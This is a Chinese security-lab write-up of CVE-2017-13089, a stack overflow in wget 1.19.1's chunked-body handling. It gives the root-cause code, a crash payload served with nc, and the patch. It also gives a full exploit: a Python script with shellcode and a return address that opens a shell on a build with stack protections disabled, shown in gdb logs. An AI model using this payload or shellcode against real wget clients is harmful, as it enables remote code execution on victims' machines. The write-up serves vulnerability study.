【青藤实验室】wget 缓冲区溢出漏洞分析（CVE-2017-13089）
0x00 应用简介
wget 是一个从网络上自动下载文件的工具，支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。
0x01 漏洞描述
在处理例如重定向的情况时，wget 会调用到 skip_short_body() 函数，函数中会对分块编码的数据调用 strtol() 函数读取每个块的长度，但在版本 1.19.2 之前，没有对这个长度进行必要的检查，例如其是否为负数。然后 wget 通过使用 MIN() 宏跳过块的 512 个字节，将负数传递给了函数 fd_read()。由于 fd_read() 接收的参数类型为 int，所以块长度的高 32 位会被丢弃，使得攻击者可以控制传递给 fd_read() 的参数。
0x02 漏洞复现
| 推荐使用的环境 | 备注 | |
|---|---|---|
| 操作系统 | Ubuntu 16.04 | 体系结构：64 位 |
| 调试器 | gdb-peda | 版本号：7.11.1 |
| 漏洞软件 | wget | 版本号：1.19.1 |
首先编译安装 wget-1.19.1：
$ sudo apt-get install libneon27-gnutls-dev
$ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar zxvf wget-1.19.1.tar.gz
$ cd wget-1.19.1
$ ./configure
$ make && sudo make install
$ wget -V | head -n1
GNU Wget 1.19.1 built on linux-gnu.
引发崩溃的 payload 如下：
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0
stack smashing 现场：
$ nc -lp 6666 < payload & wget --debug localhost:6666
[1] 4291
DEBUG output created by Wget 1.19.1 on linux-gnu.
Reading HSTS entries from /home/firmy/.wget-hsts
Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8)
--2018-01-30 11:42:32-- http://localhost:6666/
Resolving localhost... 127.0.0.1
Caching localhost => 127.0.0.1
Connecting to localhost|127.0.0.1|:6666... connected.
Created socket 4.
Releasing 0x00000000012f51b0 (new refcount 1).
---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive
---request end---
GET / HTTP/1.1
User-Agent: Wget/1.19.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: localhost:6666
Connection: Keep-Alive
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
---response end---
401 Not Authorized
Registered socket 4 for persistent reuse.
Skipping -4294966528 bytes of body:
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASkipping -4294967296
bytes of body: [] aborting (EOF received).
*** stack smashing detected ***: wget terminated
[1]+ Done nc -lp 6666 < payload
Aborted (core dumped)
0x03 漏洞分析
关键函数 skip_short_body()：
// src/http.c
static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
enum {
SKIP_SIZE = 512, /* size of the download buffer */
SKIP_THRESHOLD = 4096 /* the largest size we read */
};
wgint remaining_chunk_size = 0;
char dlbuf[SKIP_SIZE + 1];
dlbuf[SKIP_SIZE] = '\0'; /* so DEBUGP can safely print it */
/* If the body is too large, it makes more sense to simply close the
connection than to try to read the body. */
if (contlen > SKIP_THRESHOLD)
return false;
while (contlen > 0 || chunked)
{
int ret;
if (chunked)
{
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
char *endl;
if (line == NULL)
break;
remaining_chunk_size = strtol (line, &endl, 16); // 未检查remaining_chunk_size是否为负
xfree (line);
if (remaining_chunk_size == 0)
{
line = fd_read_line (fd);
xfree (line);
break;
}
}
contlen = MIN (remaining_chunk_size, SKIP_SIZE); // contlen 为可控变量
}
DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));
ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1); // 引发溢出
if (ret <= 0)
{
/* Don't normally report the error since this is an
optimization that should be invisible to the user. */
DEBUGP (("] aborting (%s).\n",
ret < 0 ? fd_errstr (fd) : "EOF received"));
return false;
}
contlen -= ret;
if (chunked)
{
remaining_chunk_size -= ret;
if (remaining_chunk_size == 0)
{
char *line = fd_read_line (fd);
if (line == NULL)
return false;
else
xfree (line);
}
}
/* Safe even if %.*s bogusly expects terminating \0 because
we've zero-terminated dlbuf above. */
DEBUGP (("%.*s", ret, dlbuf));
}
DEBUGP (("] done.\n"));
return true;
}
通常可这样调用的：
if (keep_alive && !head_only
&& skip_short_body (sock, contlen, chunked_transfer_encoding))
CLOSE_FINISH (sock);
所以要想进入到漏洞代码，只需要 contlen 的长度不大于 4096 且使用了分块编码 chunked_transfer_encoding。对于参数 chunked_transfer_encoding 的设置在函数 gethttp() 中：
// src/http.c
chunked_transfer_encoding = false;
if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
&& 0 == c_strcasecmp (hdrval, "chunked"))
chunked_transfer_encoding = true;
而 contlen 的赋值为 contlen = MIN (remaining_chunk_size, SKIP_SIZE);，MIN() 宏函数定义如下，用于获得两个值中小的那一个：
// src/wget.h
# define MIN(i, j) ((i) <= (j) ? (i) : (j))
当 remaining_chunk_size 为负值时，同样满足小于 SKIP_SIZE，所以 contlen 实际上是可控的。
随后进入 fd_read() 函数，从 fd 读取 bufsize 个字节到 buf 中，于是引起缓冲区溢出：
//src/connect.c
/* Read no more than BUFSIZE bytes of data from FD, storing them to
BUF. If TIMEOUT is non-zero, the operation aborts if no data is
received after that many seconds. If TIMEOUT is -1, the value of
opt.timeout is used for TIMEOUT. */
int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
struct transport_info *info;
LAZY_RETRIEVE_INFO (info);
if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
return -1;
if (info && info->imp->reader)
return info->imp->reader (fd, buf, bufsize, info->ctx);
else
return sock_read (fd, buf, bufsize);
}
补丁
git show d892291fb8ace4c3b734ea5125770989c215df3f | cat
commit d892291fb8ace4c3b734ea5125770989c215df3f
Author: Tim Rühsen
补丁也很简单，就是对 remaining_chunk_size 是否为负值进行了判断。
0x04 Exploit
在这里我们做一点有趣的事情。先修改一下配置文件 configure.ac，把堆栈保护技术都关掉，也就是加上下面所示的这几行：
$ cat configure.ac | grep -A4 stack
dnl Disable stack canaries
CFLAGS="-fno-stack-protector $CFLAGS"
dnl Disable No-eXecute
CFLAGS="-z execstack $CFLAGS"
dnl
dnl Create output
dnl
然后编译安装，结果如下：
$ sudo apt-get install automake
$ make && sudo make install
$ pwn checksec /usr/local/bin/wget
[*] '/usr/local/bin/wget'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
好了，接下来可以搞事情了。为了方便确认栈溢出的地址，把前面 payload 的 body 部分用 pattern 替代掉：
$ cat payload
HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAs
0
$ nc -lp 6666 < payload
在另一个 shell 里启动 gdb 调试 wget：
gdb-peda$ r localhost:6666
gdb-peda$ pattern_offset $ebp
1933668723 found at offset: 560
gdb-peda$ searchmem AAA%AAsA
Searching for 'AAA%AAsA' in: None ranges
Found 2 results, display max 2 items:
[heap] : 0x6aad83 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
[stack] : 0x7fffffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAe
所以 rsp 的地址位于栈偏移 568 的地方。而栈地址位于 0x7fffffffcf40。
构造 exp 来生成 paylaod：
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
-0xFFFFFD00
"""
shellcode = "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
shellcode += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
shellcode += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
shellcode += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
shellcode += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
shellcode += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
shellcode += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"
payload += shellcode + (568-len(shellcode)) * "A"
payload += "\x40\xcf\xff\xff\xff\x7f\x00\x00"
payload += "\n0\n"
with open('ppp','wb') as f:
f.write(payload)
$ python exp.py
$ nc -lp 6666 < ppp
继续使用 gdb 来跟踪。经过 strtol() 函数返回的 remaining_chunk_size 为 0xffffffff00000300：
gdb-peda$ n
[----------------------------------registers-----------------------------------]
RAX: 0xffffffff00000300
RBX: 0x468722 --> 0x206f4e0050545448 ('HTTP')
RCX: 0xffffffda
RDX: 0x1
RSI: 0xfffffd00
RDI: 0x6aafab --> 0xfae98148c931000a
RBP: 0x7fffffffd170 --> 0x7fffffffd580 --> 0x7fffffffd8a0 --> 0x7fffffffd9c0 --> 0x7fffffffdbd0 --> 0x452350 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffcf20 --> 0xffffffffffffffff
RIP: 0x41ef0f (<skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax)
R8 : 0x0
R9 : 0xfffffffffffffff
R10: 0x0
R11: 0x7ffff74045e0 --> 0x2000200020002
R12: 0x404ca0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdcb0 --> 0x2
R14: 0x0
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x41ef04 <skip_short_body+139>: mov rsi,rcx
0x41ef07 <skip_short_body+142>: mov rdi,rax
0x41ef0a <skip_short_body+145>: call 0x404660 <strtol@plt>
=> 0x41ef0f <skip_short_body+150>: mov QWORD PTR [rbp-0x8],rax
0x41ef13 <skip_short_body+154>: mov rax,QWORD PTR [rbp-0x10]
0x41ef17 <skip_short_body+158>: mov rdi,rax
0x41ef1a <skip_short_body+161>: call 0x404380 <free@plt>
0x41ef1f <skip_short_body+166>: mov QWORD PTR [rbp-0x10],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffcf20 --> 0xffffffffffffffff
0008| 0x7fffffffcf28 --> 0x4ffffcf01
0016| 0x7fffffffcf30 --> 0x13
0024| 0x7fffffffcf38 --> 0x6aafab --> 0xfae98148c931000a
0032| 0x7fffffffcf40 --> 0xffffffff00000028
0040| 0x7fffffffcf48 --> 0x7ffff7652540 --> 0xfbad2887
0048| 0x7fffffffcf50 --> 0x7fffffffcfc0 ("401 Not Authorized\n")
0056| 0x7fffffffcf58 --> 0x13
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x000000000041ef0f in skip_short_body ()
继续调试，到达函数 fd_read()，可以看到由于强制类型转换的原因其参数只取出了 0xffffffff00000300 的低 4 个字节 0x300，所以该函数将读入 0x300 个字节的数据到栈地址 0x7fffffffcf40 中：
成功跳转到 shellcode，获得 shell：
Bingo!!!
Starting program: /usr/local/bin/wget localhost:6666
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
--2018-01-30 15:40:49-- http://localhost:6666/
Resolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:6666... connected.
HTTP request sent, awaiting response... 401 Not Authorized
process 20613 is executing new program: /bin/dash
[New process 20617]
process 20617 is executing new program: /bin/dash
$ whoami
[New process 20618]
process 20618 is executing new program: /usr/bin/whoami
firmy
$ [Inferior 3 (process 20618) exited normally]
Warning: not running or target is remote
0x05参考链接
https://nvd.nist.gov/vuln/detail/CVE-2017-13089
https://github.com/r1b/CVE-2017-13089